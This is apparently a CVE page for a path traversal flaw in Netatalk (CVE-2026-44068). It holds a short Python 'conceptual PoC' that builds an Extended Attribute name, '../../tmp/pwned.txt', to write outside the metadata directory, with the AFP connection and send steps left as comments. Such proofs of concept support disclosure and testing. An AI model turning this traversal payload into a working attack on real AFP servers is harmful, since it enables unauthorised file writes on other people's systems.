CVE-2026-44068 Netatalk路径遍历漏洞

import socket # Conceptual PoC for CVE-2026-44068 # This script demonstrates the concept of setting an Extended Attribute with a path traversal payload. # Note: Actual implementation requires AFP protocol library (e.g., pyafp). def exploit(target_ip, username, password): print(f"[+] Connecting to {target_ip}...") # 1. Authenticate to the Netatalk AFP server # session = connect_afp(target_ip, username, password) # 2. Craft a malicious Extended Attribute name # Using '../' to traverse out of the metadata directory malicious_ea_name = "../../tmp/pwned.txt" malicious_content = b"VULNERABILITY TEST" print(f"[*] Attempting to write EA: {malicious_ea_name}") # 3. Send SetExtAttr request # session.set_ext_attr("test_file", malicious_ea_name, malicious_content) print("[+] Exploit packet sent conceptually.") if __name__ == "__main__": exploit("192.168.1.10", "user", "pass")